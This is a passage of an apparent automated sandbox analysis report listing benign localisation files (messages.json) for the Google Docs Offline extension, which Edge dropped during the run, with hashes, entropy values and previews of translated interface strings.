SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
